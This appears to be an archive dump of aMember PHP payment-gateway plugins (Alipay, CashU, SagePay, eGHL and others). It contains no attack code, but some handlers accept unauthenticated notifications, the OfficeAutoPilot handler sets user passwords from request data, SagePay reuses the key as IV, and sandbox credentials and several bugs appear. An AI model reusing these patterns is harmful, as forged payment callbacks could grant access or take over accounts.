$preSign[] = sprintf('%s=%s', $k, $v); } $a['sign'] = md5(implode('&', $preSign) . $this->getConfig('private_key')); $a['sign_type'] = 'MD5'; } /** * * @param Invoice $invoice * @param type $request * @param Am_Paysystem_Result $result */ function _process($invoice, $request, $result) { $a = new Am_Paysystem_Action_Redirect($this->getConfig('testing') ? self::TEST_GATEWAY : self::LIVE_GATEWAY); $vars = array( 'service' => 'create_forex_trade', 'partner' => $this->getConfig('partner'), '_input_charset' => 'UTF-8', 'notify_url' => $this->getPluginUrl('ipn'), 'return_url' => $this->getPluginUrl('thanks'), 'subject' => $invoice->getLineDescription(), 'out_trade_no' => $invoice->public_id, 'currency' => $invoice->currency, ); $vars['total_fee'] = $invoice->first_total; $this->signOutgoing($vars); foreach ($vars as $k => $v) $a->{$k} = $v; $result->setAction($a); } function createThanksTransaction($request, $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Alipay_Thanks($this, $request, $response, $invokeArgs); } function createTransaction($request, $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Alipay_Incoming($this, $request, $response, $invokeArgs); } function allowPartialRefunds() { return true; } function processRefund(\InvoicePayment $payment, \Am_Paysystem_Result $result, $amount) { $vars = array( 'service' => 'forex_refund', 'partner' => $this->getConfig('partner'), '_input_charset' => 'UTF-8', 'out_return_no' => 'RFND-' . $invoice->public_id . '-' . rand(0, 100), 'out_trade_no' => $payment->receipt_id, 'return_amount' => $amount, 'currency' => $invoice->currency, 'gmt_return' => gmdate('YmdHis'), 'reason' => 'refund' ); $this->signOutgoing($vars); $req = new Am_HttpRequest(sprintf("%s?%s", $this->getConfig('testing') ? self::TEST_GATEWAY : self::LIVE_GATEWAY, http_build_query($vars))); $this->logRequest($req); $resp = $req->send(); $this->logResponse($resp); if ($resp->getStatus() !== '200') throw new Am_Exception_InternalError('Unable to contact Alipay API server'); $xml = $resp->getBody(); $xml = @simplexml_load_string($resp); if (!$xml) throw new Am_Exception_InternalError('Wrong response received!'); $result->setSuccess(); } function getReadme() { return <<Sandbox testing Merchant account on Sandbox: PID:2088101122136241 Email Account: overseas_kgtest@163.com MD5 KEY MD5:760bdzec6y9goq7ctyx96ezkz78287de Buyer Accounts: 1) douyufua@alitest.com 2) alipaytest20091@gmail.com Captcha Code: 8888 Login Password: 111111 Payment Password on Payment Page: 111111 CUT; } } class Am_Paysystem_Transaction_Alipay extends Am_Paysystem_Transaction_Incoming { function findInvoiceId() { return $this->request->get('out_trade_no'); } public function getUniqId() { return $this->request->get('trade_no'); } public function validateSource() { $vars = $this->request->getRequestOnlyParams(); $sign = $vars['sign']; unset($vars['sign']); unset($vars['sign_type']); $this->plugin->signOutgoing($vars); return ($vars['sign'] == $sign); } public function validateStatus() { return ($this->request->get('trade_status') == 'TRADE_FINISHED'); } public function validateTerms() { return ($this->request->get('total_fee') == $this->invoice->first_total); } } class Am_Paysystem_Transaction_Alipay_Incoming extends Am_Paysystem_Transaction_Alipay { function processValidated() { parent::processValidated(); print "Success"; } } class Am_Paysystem_Transaction_Alipay_Thanks extends Am_Paysystem_Transaction_Alipay { function process() { try { parent::process(); } catch (Am_Exception_Paysystem_TransactionAlreadyHandled $e) { // do nothing if transaction is already handled } if (Am_Di::getInstance()->config->get('auto_login_after_signup')) Am_Di::getInstance()->auth->setUser($this->invoice->getUser(), $this->request->getClientIp()); } } PK\֣޹payment/cashu.phpnu[addText('merchant_id')->setLabel('Merchant Id'); $form->addText('secret')->setLabel('Secret'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } public function getSupportedCurrencies() { return array('AED', 'GBP', 'EUR', 'USD'); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Cachu($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOTHING; } public function isConfigured() { return $this->getConfig('secret') && $this->getConfig('merchant_id'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $action = new Am_Paysystem_Action_Form; $action->setUrl('https://www.cashu.com/cgi-bin/pcashu.cgi'); $action->merchant_id = $this->getConfig('merchant_id'); $action->amount = $invoice->first_total; $action->currency = $invoice->currency; $action->language = 'en'; $action->display_text = $invoice->getLineDescription(); $action->token = md5(strtolower( $action->merchant_id . ":" . sprintf("%.2f",$action->amount) . ":" . $action->currency . ":" ). $this->getConfig('secret')); $action->txt1 = $invoice->getLineDescription(); $action->txt2 = $invoice->public_id; $action->test_mode = $this->getConfig('testing'); $result->setAction($action); } public function getReadme() { $rootUrl = ROOT_URL; return <<Setup->Plugins 2. Configure "CashU" payment plugin at aMember CP->Setup->CashU Set EXACTLY the same Encryption Keyword in aMember CP setup and CashU Merchants CP. 3. Inside the CashU merchant account using the tab "Encryption Information" set "Return URL" to $rootUrl/payment/cashu/thanks 4. Try your integration - go to aMember signup page, and try to make new signup. $rootUrl/signup CUT; } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Cashu($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_Cashu extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { $this->request->get('trn_id'); } public function findInvoiceId() { return $this->request->getFiltered('txt2'); } public function validateSource() { $token = $this->request->getFiltered('token'); if (!strlen($token)) throw new Am_Exception_InputError("This page must be open by payment system, and not just open in browser window"); $ourToken = md5(strtolower(implode(':', array( $this->plugin->getConfig('merchant_id'), $this->request->get('amount'), $this->request->get('currency'), ))) . ':' . $this->plugin->getConfig('secret') ); if ($token != $ourToken) { throw new Am_Exception_Paysystem_TransactionSource("Tokens do not match: [$token] != [$ourToken]"); } $verify = $this->request->getFiltered('verificationString'); $ourVerify = sha1(strtolower( $this->plugin->getConfig('merchant_id').':'. $this->request->get('trn_id').':' ) . $this->plugin->getConfig('secret')); if ($verify != $ourVerify) { throw new Am_Exception_Paysystem_TransactionSource("Verify string do not match: [$verify] != [$ourVerify]"); } return true; } public function validateStatus() { return true; } public function validateTerms() { return true; // terms are signed in the form, no need to validate again } } PK\X̲payment/certopay.phpnu[addText('shop_id')->setLabel('Merchant Shop Id'); $form->addText('secret_key')->setLabel('Secret Key'); } public function init() { parent::init(); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $periods = array('y'=>'years','m'=>'months','d'=>'days','fixed' => 'years'); $u = $invoice->getUser(); $a = new Am_Paysystem_Action_Form(self::LIVE_URL); $a->language = $this->getDi()->app->getDefaultLocale(); $order = array(); $a->__set('order[shop_id]',$this->getConfig('shop_id')); $a->__set('order[currency]',$invoice->currency); $a->__set('order[email]',$u->email); $a->__set('order[success_url]',$this->getReturnUrl($request)); $a->__set('order[cancel_url]',$this->getCancelUrl($request)); $a->__set('order[fail_url]',$this->getCancelUrl($request)); $a->__set('order[notification_url]',$this->getPluginUrl('ipn')); $a->__set('order[billing_address_attributes][first_name]',$u->name_f); $a->__set('order[billing_address_attributes][last_name]',$u->name_l); $a->__set('order[billing_address_attributes][address]',$u->street); $a->__set('order[billing_address_attributes][country]',$u->country); $a->__set('order[billing_address_attributes][city]',$u->city); $a->__set('order[billing_address_attributes][zip]',$u->zip); $a->__set('order[billing_address_attributes][state]',$u->state); $a->__set('order[billing_address_attributes][zip]',$u->zip); //recurring if(!is_null($invoice->second_period)){ $a->__set('order[subscription_attributes][description]',$invoice->getLineDescription()); $a->__set('order[subscription_attributes][trial_amount]',$invoice->first_total*100); $first_period = new Am_Period($invoice->first_period); $a->__set('order[subscription_attributes][trial_interval_unit]',$periods[$first_period->getUnit()]); $a->__set('order[subscription_attributes][trial_interval]',($first_period->getCount() == Am_Period::MAX_SQL_DATE) ? '25' : $first_period->getCount()); $a->__set('order[subscription_attributes][amount]',$invoice->second_total*100); $second_period = new Am_Period($invoice->second_period); $a->__set('order[subscription_attributes][interval_unit]',$periods[$second_period->getUnit()]); $a->__set('order[subscription_attributes][interval]',($second_period->getCount() == Am_Period::MAX_SQL_DATE) ? '25' : $second_period->getCount()); if($invoice->rebill_times) $a->__set('order[subscription_attributes][rebill_limit]',$invoice->rebill_times); } //not recurring else{ $a->__set('order[line_items_attributes][][name]',$invoice->getLineDescription()); $a->__set('order[line_items_attributes][][amount]',$invoice->first_total*100); $a->__set('order[line_items_attributes][][quantity]',1); $a->__set('order[tax_amount]',$invoice->first_tax*100); } $a->__set('order[tracking_params_attributes][][name]','invoice_id'); $a->__set('order[tracking_params_attributes][][value]',$invoice->public_id); $a->filterEmpty(); $a->__set('order[signature]', hash('sha256',($sha = $a->__get('order[subscription_attributes][trial_amount]'). $a->__get('order[line_items_attributes][][amount]'). $a->__get('order[cancel_url]'). $a->__get('order[currency]'). $a->__get('order[email]'). $a->__get('order[fail_url]'). $a->__get('order[success_url]'). $invoice->public_id. $a->__get('order[subscription_attributes][amount]'). $a->__get('order[subscription_attributes][description]'). $a->__get('order[subscription_attributes][interval]'). $a->__get('order[subscription_attributes][interval_unit]'). $a->__get('order[subscription_attributes][rebill_limit]'). $a->__get('order[subscription_attributes][trial_amount]'). $a->__get('order[subscription_attributes][trial_interval]'). $a->__get('order[subscription_attributes][trial_interval_unit]'). $this->getConfig('secret_key')))); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Certopay($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { return <<Certopay plugin installation 1. Configure plugin at aMember CP -> Setup/Configuration -> Certopay 2. Run a test transaction to ensure everything is working correctly. CUT; } } class Am_Paysystem_Transaction_Certopay extends Am_Paysystem_Transaction_Incoming{ protected $tracking_params,$billing_address,$subscription,$map; public function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { $this->tracking_params = $request->get("tracking_params"); $this->billing_address = $request->get("billing_address"); $this->subscription = $request->get("subscription"); parent::__construct($plugin, $request, $response, $invokeArgs); } public function getUniqId() { return $this->request->get("id"); } public function findInvoiceId() { return $this->tracking_params[1]['value']; } protected function _map($a) { foreach($a as $k => $v) if(is_array($v)) $this->_map($v); else $this->map[] = "$k$v"; } public function validateSource() { $this->_map($this->request->getPost()); sort($this->map); $sha = ''; foreach($this->map as $k) if(!preg_match('/^signature_v2/', $k)) $sha.=$k; $sha.=$this->getPlugin()->getConfig('secret_key'); $hash = hash('sha256',($sha)); if($hash != $this->request->get('signature_v2')) throw new Am_Exception_Paysystem_TransactionSource('Received security hash is not correct'); return true; } public function validateStatus() { if($this->request->get('status') != 'paid'){ return false; } return true; } public function validateTerms() { return true; } public function processValidated() { $this->invoice->addPayment($this); } }PK\[payment/premiumwebcart.phpnu[addText('merchant_id') ->setLabel("Merchant ID\n" . 'Your PremiumWebCart Merchant ID'); $form->addText('api_signature', array('class' => 'el-wide')) ->setLabel("API Sinature\n" . 'You can get it from Home >> Cart Settings >> Advance Integration >> API Integration'); } public function init() { parent::init(); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('premiumwebcart_id', "Premium Web Cart Product Link ID", "This is the Product Link ID which is available in the Edit Product Screen.")); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL); $a->con = 'my_cart'; $a->met = 'addToCart'; $a->pid = $invoice->getItem(0)->getBillingPlanData('premiumwebcart_id'); $a->pquantity = 1; $a->clearcart = 1; $a->action = 2; $a->fname = $invoice->getFirstName(); $a->lname = $invoice->getLastName(); $a->email = $invoice->getEmail(); $a->baddress1 = $invoice->getStreet(); $a->bcity = $invoice->getCity(); $a->bzip = $invoice->getZip(); $a->bstate = $invoice->getState(); $a->bcountry = $invoice->getCountry(); $a->custom1 = $invoice->public_id; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Premiumwebcart($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function apiRequest($method, $vars) { $req = new Am_HttpRequest(self::API_URL."/".$method.".html", Am_HttpRequest::METHOD_POST); $req->addPostParameter('merchantid', $this->getConfig('merchant_id')); $req->addPostParameter('signature', $this->getConfig('api_signature')); foreach($vars as $k=>$v){ $req->addPostParameter($k, $v); } $req->send(); $resp = $req->getBody(); if(!$resp) throw new Am_Exception_InputError('PWC: got empty response from API server'); $xml = simplexml_load_string($resp); if($xml->error) throw new Am_Exception_InputError('PWC: Got error from API: '.$xml->error->errortext); return $xml; } public function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { $id = $invoice->data()->get(self::PROFILE_ID); if (!$id) throw new Am_Exception_InputError("No external id recorded for invoice [".$invoice->public_id."]"); $resp = $this->apiRequest('suspendSubscription', array('profileid'=>$id)); if($resp->recurring->status == 'suspended') echo "Order Cancelled"; else throw new Am_Exception_InputError("PWC: Unknown response from API"); } public function getReadme() { $thanks = $this->getDi()->url('thanks'); $ipn = Am_Html::escape($this->getPluginUrl('ipn')); return <<PremiumWebCart payment plugin configuration 1. Configure "premiumwebcart" payment plugin at aMember CP -> Setup/Configuration -> PremiumWebCart Make sure you set the same API Key in aMember CP and PWC Home >> Cart Settings >> Advance Integration >> API Integration 2. Create equivalents for all aMember products in PWC . Make sure it has the same subscription terms (period, price) as aMember Products. Set "Thanks URL" for all PWC products to $thanks Write down Product Link ID of all PWC products. 3. Visit aMember CP -> Manage Products, click "Edit" on each product and enter "PremiumWebCart Product Link ID" for each corresponding billing plan, then click "Save". 4. Set Premium Web Cart Instant Payment Notification URL to $ipn at Home >> Cart Settings >> Advance Integration >> PWC IPN 5. Try your integration - go to aMember signup page, and try to make new signup. CUT; } } class Am_Paysystem_Transaction_Premiumwebcart extends Am_Paysystem_Transaction_Incoming { const STATUS_SUCCESS ='success'; public function getUniqId() { return $this->request->get("order_unique_id"); } public function findInvoiceId() { return $this->request->get('custom1'); } public function validateSource() { $this->_checkIp('72.32.221.227'); return true; } public function validateStatus() { return ($this->request->get('txn_status') == self::STATUS_SUCCESS); } public function validateTerms() { return true; } public function processValidated() { $this->invoice->addPayment($this); if($profile_id = $this->request->get('profile_id')) $this->invoice->data()->set(Am_Paysystem_PremiumWebCart::PROFILE_ID, $profile_id)->update(); } }PK\m0payment/quaderno-checkout/scripts/quaderno.phtmlnu[headMeta()->setName('robots', 'noindex,nofollow'); ?> setLayout('layout.phtml'); $this->layoutNoMenu = true; ?> _script('_receipt.phtml'); ?>
    PK\/payment/quaderno-checkout/quaderno-checkout.phpnu[ 'SHA256', 'HS512' => 'SHA512', 'HS384' => 'SHA384', ); public function init() { $this->getDi()->billingPlanTable->customFields()->add(new Am_CustomFieldText('stripe_plan', 'Stripe Billing Plan Id')); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getSupportedCurrencies() { return array('USD', 'CAD', 'GBP', 'EUR', 'CHF', 'AUD'); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText("public_key", array('class' => 'el-wide')) ->setLabel('Publishable key'); $form->addText("private_key", array('class' => 'el-wide')) ->setLabel('Private key'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_HtmlTemplate_QuadernoCheckout(dirname(__FILE__), 'quaderno.phtml'); $a->plugin = $this; $a->invoice = $invoice; if (!(float)$invoice->second_total) { $a->charge = array( 'amount' => $invoice->first_total * 100, 'currency' => $invoice->currency, 'description' => $invoice->getLineDescription() ); $a->charge['charge'] = $this->jwtEncode($a->charge + array( 'iat' => $this->getDi()->time ), $this->getConfig('private_key')); $a->charge['type'] = 'charge'; $a->label = ___('Pay with Card'); } else { $a->charge = array( 'plan' => $invoice->getItem(0)->getBillingPlanData('stripe_plan'), 'amount' => $invoice->second_total * 100, 'description' => $invoice->getLineDescription() ); $a->label = ___('Subscribe Now'); } $result->setAction($a); } static function base64url_encode($data) { return str_replace('=', '', strtr(base64_encode($data), '+/', '-_')); } static function base64url_decode($data) { $remainder = strlen($data) % 4; if ($remainder) { $padlen = 4 - $remainder; $data .= str_repeat('=', $padlen); } return base64_decode(strtr($data, '-_', '+/')); } public function jwtEncode($payload, $key) { $alg = 'HS256'; $header = json_encode(array( 'alg' => $alg, 'typ' => "JWT" )); $payload = json_encode($payload); $sign = hash_hmac($this->algs_map[$alg], self::base64url_encode($header) . '.' . self::base64url_encode($payload), $key, true); return self::base64url_encode($header) . '.' . self::base64url_encode($payload) . '.' . self::base64url_encode($sign); } public function jwtDecode($jwt, $key) { list($header, $payload, $sign) = explode('.', $jwt); $_header = self::base64url_decode($header); $_payload = self::base64url_decode($payload); $_sign = self::base64url_decode($sign); $_header = json_decode($_header, true); if (hash_hmac($this->algs_map[$_header['alg']], $header . '.' . $payload, $key, true) != $_sign) return false; return json_decode($_payload, true); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_QuadernoCheckout($this, $request, $response, $invokeArgs); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_QuadernoCheckout_Ipn($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_QuadernoCheckout_Ipn extends Am_Paysystem_Transaction_Incoming { public function validateSource() { return true; } public function validateTerms() { return true; } public function validateStatus() { return true; } public function getUniqId() { return true; } public function findInvoiceId() { return null; } public function processValidated() { switch ($this->type) { case 'rs' : break; } } } class Am_Paysystem_Transaction_QuadernoCheckout extends Am_Paysystem_Transaction_Incoming_Thanks { public function process() { $this->transactionDetails = $this->plugin->jwtDecode($this->request->getParam('transactionDetails'), $this->plugin->getConfig('private_key')); $this->log->add($this->transactionDetails); return parent::process(); } public function validateSource() { return (bool)$this->transactionDetails; } public function validateTerms() { return true; } public function validateStatus() { return true; } public function getUniqId() { return $this->transactionDetails['transaction']; } public function findInvoiceId() { return $this->request->get('id'); } } class Am_Paysystem_Action_HtmlTemplate_QuadernoCheckout extends Am_Paysystem_Action_HtmlTemplate { protected $_template; protected $_path; public function __construct($path, $template) { $this->_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } }PK\e@@payment/e-ghl.phpnu[addText('ServiceID')->setLabel("Merchant Service ID\ngiven by eGHL"); $form->addPassword('password')->setLabel('Merchant Password'); $form->addAdvCheckbox('testing') ->setLabel("Is it a Sandbox (Testing) Account?"); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $a = new Am_Paysystem_Action_Redirect($this->host()); $vars = array( 'TransactionType' => 'SALE', 'ServiceID' => $this->getConfig('ServiceID'), 'PaymentID' => $invoice->public_id, 'OrderNumber' => $invoice->public_id, 'PaymentDesc' => $invoice->getLineDescription(), 'MerchantReturnURL' => $this->getPluginUrl('thanks'), 'Amount' => $invoice->first_total, 'CurrencyCode' => $invoice->currency, 'CustIP' => $request->getClientIp(), 'CustName' => $user->getName(), 'CustEmail' => $user->email, 'CustPhone' => $user->phone, 'MerchantName' => $this->getDi()->config->get('site_title'), 'PageTimeout' => '3600' ); $a->HashValue = hash('sha256', $this->getConfig('password') . $vars['ServiceID'] . $vars['PaymentID'] . $vars['MerchantReturnURL'] . $vars['Amount'] . $vars['CurrencyCode'] . $vars['CustIP'] . $vars['PageTimeout']); foreach ($vars as $k => $v) { $a->$k = $v; } $result->setAction($a); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_EGhl($this, $request, $response, $invokeArgs); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return null; } function host() { return $this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL; } public function getReadme() { return <<Phone and Name bricks to your signup form. eGHL requires customer phone number and name to process payment. CUT; } } class Am_Paysystem_Transaction_EGhl extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->getParam('TxnID'); } public function findInvoiceId() { return $this->request->getParam('OrderNumber'); } public function validateSource() { $msg = $this->plugin->getConfig('password'); foreach (array('TxnID', 'ServiceID', 'PaymentID', 'TxnStatus', 'Amount', 'CurrencyCode', 'AuthCode') as $key) { $msg .= $this->request->getParam($key); } $digest = hash('sha256', $msg); return $digest == $this->request->getParam('HashValue'); } public function validateStatus() { return $this->request->getParam('TxnStatus') == '0'; } public function validateTerms() { return $this->request->getParam('Amount') == $this->invoice->first_total && $this->request->getParam('CurrencyCode') == $this->invoice->currency; } }PK\tضpayment/officeautopilot.phpnu[paysystemList->getList() as $k => $p) { if ($p->getId() == $this->getId()) $p->setPublic(false); } $di->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'oap_prod_item', "OAP product ID", "" , array(/* ,'required' */) )); } function getConfig($key = null, $default = null) { switch ($key) { case 'testing' : return false; case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } public function _initSetupForm(Am_Form_Setup $form) { } public function getRecurringType() { return self::REPORTS_REBILL; } public function isNotAcceptableForInvoice(Invoice $invoice) { return; } function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { // Nothing to do. } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Officeautopilot($this, $request, $response, $invokeArgs); } public function canAutoCreate() { return true; } public function getReadme() { $url = $this->getPluginUrl('ipn'); return <<Office Auto Pilot integration Ping URL for your OAP account be set to: $url CUT; } } class Am_Paysystem_Transaction_Officeautopilot extends Am_Paysystem_Transaction_Incoming { protected $_autoCreateMap = array( 'name_f' => 'firstname', 'name_l' => 'lastname', 'email' => 'email', 'user_external_id' => 'email', ); public function generateInvoiceExternalId() { return $this->request->get('product_ID') . '_' . $this->request->get('email'); } public function autoCreateGetProducts() { $item_name = $this->request->get('product_ID'); if (empty($item_name)) return; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('oap_prod_item', $item_name); if ($billing_plan) return array($billing_plan->getProduct()); } public function getReceiptId() { return $this->request->get('transaction_id'); } public function getAmount() { return moneyRound($this->request->get('total_invoice_amount')); } public function getUniqId() { return @$this->request->get('transaction_id'); } public function validateSource() { return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { $this->invoice->addPayment($this); if ($pass = $this->request->get('password')) { $user = $this->invoice->getUser(); $user->setPass($pass); $user->update(); } } public function findInvoiceId() { return $this->request->get('transaction_id'); } }PK\j'j'payment/sagepay-form.phpnu[addText('login')->setLabel('Your SagePay login'); $form->addPassword('pass')->setLabel('Your SagePay password'); $form->addAdvCheckbox('testing')->setLabel("Test Mode Enabled"); } public function getSupportedCurrencies() { return array('AUD', 'CAD', 'CHF', 'DKK', 'EUR', 'GBP', 'HKD', 'IDR', 'JPY', 'LUF', 'NOK', 'NZD', 'SEK', 'SGD', 'TRL', 'USD'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $u = $invoice->getUser(); $a = new Am_Paysystem_Action_Form($this->getConfig('testing') ? self::TEST_URL : self::LIVE_URL); $a->VPSProtocol = '3.00'; $a->TxType = 'PAYMENT'; $a->Vendor = $this->getConfig('login'); $vars = array( 'VendorTxCode='.$invoice->public_id, 'Amount='.$invoice->first_total, 'Currency='.$invoice->currency, 'Description='.$invoice->getLineDescription(), 'SuccessURL='.$this->getPluginUrl('thanks'), 'FailureURL='.$this->getCancelUrl(), 'CustomerEmail='.$u->email, 'VendorEmail='.$this->getDi()->config->get('admin_email'), 'CustomerName='.$u->name_f . ' ' . $u->name_l, ); // New mandatory fields for 3.00 protocol // All mandatory fields must contain a value, apart from the BillingPostcode/DeliveryPostCode. $surname = ($u->name_l != '') ? $u->name_l : 'Surname'; $firstname = ($u->name_f != '') ? $u->name_f : 'Firstname'; $address = ($u->street != '') ? $u->street : 'Address'; $city = ($u->city != '') ? $u->city : 'City'; $country = ($u->country != '') ? $u->country : 'US'; $state = ($u->state != '') ? $u->state : 'AL'; $zip = ($u->zip != '') ? $u->zip : '12345'; $vars[] = 'BillingSurname='.$surname; $vars[] = 'BillingFirstnames='.$firstname; $vars[] = 'BillingAddress1='.$address; $vars[] = 'BillingCity='.$city; $vars[] = 'BillingPostCode='.$zip; $vars[] = 'BillingCountry='.$country; $vars[] = 'DeliverySurname='.$surname; $vars[] = 'DeliveryFirstnames='.$firstname; $vars[] = 'DeliveryAddress1='.$address; $vars[] = 'DeliveryCity='.$city; $vars[] = 'DeliveryPostCode='.$zip; $vars[] = 'DeliveryCountry='.$country; if ($country == 'US') { //becomes mandatory when the BillingCountry/DeliveryCountry is set to US $vars[] = 'BillingState='.$state; $vars[] = 'DeliveryState='.$state; } /* * Important – if your business is classed as Financial Institution (Merchant code – 6012) * there are 4 additional fields that will need to be included with the transaction post from your system. * FIRecipientAcctNumber * FIRecipientSurname * FIRecipientPostcode * FIRecipientDoB */ //$a->Crypt = base64_encode($this->sagepay_simple_xor(implode('&',$vars), $this->getConfig('pass'))); $a->Crypt = self::encryptAes(implode('&',$vars), $this->getConfig('pass')); $a->filterEmpty(); $result->setAction($a); } // public function sagepay_simple_xor($InString, $Key) { // // Initialise key array // $KeyList = array(); // // Initialise out variable // $output = ""; // // // Convert $Key into array of ASCII values // for($i = 0; $i < strlen($Key); $i++){ // $KeyList[$i] = ord(substr($Key, $i, 1)); // } // // // Step through string a character at a time // for($i = 0; $i < strlen($InString); $i++) { // // Get ASCII code from string, get ASCII code from key (loop through with MOD), XOR the two, get the character from the result // // % is MOD (modulus), ^ is XOR // $output.= chr(ord(substr($InString, $i, 1)) ^ ($KeyList[$i % strlen($Key)])); // } // // Return the result // return $output; // } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_SagePayForm_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } /** * PHP's mcrypt does not have built in PKCS5 Padding, so we use this. * * @param string $input The input string. * * @return string The string with padding. */ static protected function addPKCS5Padding($input) { $blockSize = 16; $padd = ""; // Pad input to an even block size boundary. $length = $blockSize - (strlen($input) % $blockSize); for ($i = 1; $i <= $length; $i++) { $padd .= chr($length); } return $input . $padd; } /** * Remove PKCS5 Padding from a string. * * @param string $input The decrypted string. * * @return string String without the padding. * @throws Am_Exception_Paysystem */ static protected function removePKCS5Padding($input) { $blockSize = 16; $padChar = ord($input[strlen($input) - 1]); /* Check for PadChar is less then Block size */ if ($padChar > $blockSize) { throw new Am_Exception_Paysystem('Invalid encryption string'); } /* Check by padding by character mask */ if (strspn($input, chr($padChar), strlen($input) - $padChar) != $padChar) { throw new Am_Exception_Paysystem('Invalid encryption string'); } $unpadded = substr($input, 0, (-1) * $padChar); /* Chech result for printable characters */ if (preg_match('/[[:^print:]]/', $unpadded)) { throw new Am_Exception_Paysystem('Invalid encryption string'); } return $unpadded; } /** * Encrypt a string ready to send to SagePay using encryption key. * * @param string $string The unencrypyted string. * @param string $key The encryption key. * * @return string The encrypted string. */ static public function encryptAes($string, $key) { // AES encryption, CBC blocking with PKCS5 padding then HEX encoding. // Add PKCS5 padding to the text to be encypted. $string = self::addPKCS5Padding($string); // Perform encryption with PHP's MCRYPT module. $crypt = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $string, MCRYPT_MODE_CBC, $key); // Perform hex encoding and return. return "@" . strtoupper(bin2hex($crypt)); } /** * Decode a returned string from SagePay. * * @param string $strIn The encrypted String. * @param string $password The encyption password used to encrypt the string. * * @return string The unecrypted string. * @throws Am_Exception_Paysystem */ static public function decryptAes($strIn, $password) { // HEX decoding then AES decryption, CBC blocking with PKCS5 padding. // Use initialization vector (IV) set from $str_encryption_password. $strInitVector = $password; // Remove the first char which is @ to flag this is AES encrypted and HEX decoding. $hex = substr($strIn, 1); // Throw exception if string is malformed if (!preg_match('/^[0-9a-fA-F]+$/', $hex)) { throw new Am_Exception_Paysystem('Invalid encryption string'); } $strIn = pack('H*', $hex); // Perform decryption with PHP's MCRYPT module. $string = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $password, $strIn, MCRYPT_MODE_CBC, $strInitVector); return self::removePKCS5Padding($string); } } class Am_Paysystem_Transaction_SagePayForm_Thanks extends Am_Paysystem_Transaction_Incoming { public function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { parent::__construct($plugin, $request, $response, $invokeArgs); // $s = base64_decode(str_replace(" ", "+", $request->get("Crypt",$request->get("crypt")))); // $s = $plugin->sagepay_simple_xor($s, $plugin->getConfig('pass')); $s = Am_Paysystem_SagepayForm::decryptAes($request->get("Crypt", $request->get("crypt")), $plugin->getConfig('pass')); parse_str($s, $this->vars); } public function getAmount() { return moneyRound($this->vars['Amount']); } public function getUniqId() { return $this->vars["VPSTxId"]; } public function findInvoiceId() { return $this->vars["VendorTxCode"]; } public function validateSource() { return true; } public function validateStatus() { return $this->vars['Status'] == 'OK'; } public function validateTerms() { return true; } function getInvoice() { return $this->loadInvoice($this->findInvoiceId()); } }PK\qRI55payment/ogone.phpnu[addText('merchant_id', array('size' => 20))->setLabel('Your Merchant ID'); $form->addSelect('hashing_method')->setLabel('Hashing Method') ->loadOptions(array(0 => 'Main parameters only', 